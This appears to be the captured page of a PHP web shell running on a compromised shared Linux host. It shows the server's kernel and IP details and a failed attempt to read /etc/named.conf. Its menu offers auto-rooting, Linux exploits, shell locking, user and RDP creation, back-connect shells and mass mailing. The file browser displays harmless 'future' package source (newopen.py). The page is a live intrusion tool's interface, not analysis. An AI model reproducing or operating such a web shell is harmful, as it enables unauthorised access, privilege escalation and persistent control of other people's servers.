Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
future /
types /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
6.67
KB
-rw-r--r--
newbytes.py
15.92
KB
-rw-r--r--
newdict.py
3.03
KB
-rw-r--r--
newint.py
12.97
KB
-rw-r--r--
newlist.py
2.23
KB
-rw-r--r--
newmemoryview.py
712
B
-rw-r--r--
newobject.py
3.28
KB
-rw-r--r--
newopen.py
810
B
-rw-r--r--
newrange.py
5.17
KB
-rw-r--r--
newstr.py
15.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : newopen.py
""" A substitute for the Python 3 open() function. Note that io.open() is more complete but maybe slower. Even so, the completeness may be a better default. TODO: compare these """ _builtin_open = open class newopen(object): """Wrapper providing key part of Python 3 open() interface. From IPython's py3compat.py module. License: BSD. """ def __init__(self, fname, mode="r", encoding="utf-8"): self.f = _builtin_open(fname, mode) self.enc = encoding def write(self, s): return self.f.write(s.encode(self.enc)) def read(self, size=-1): return self.f.read(size).decode(self.enc) def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, etype, value, traceback): self.f.close()
Close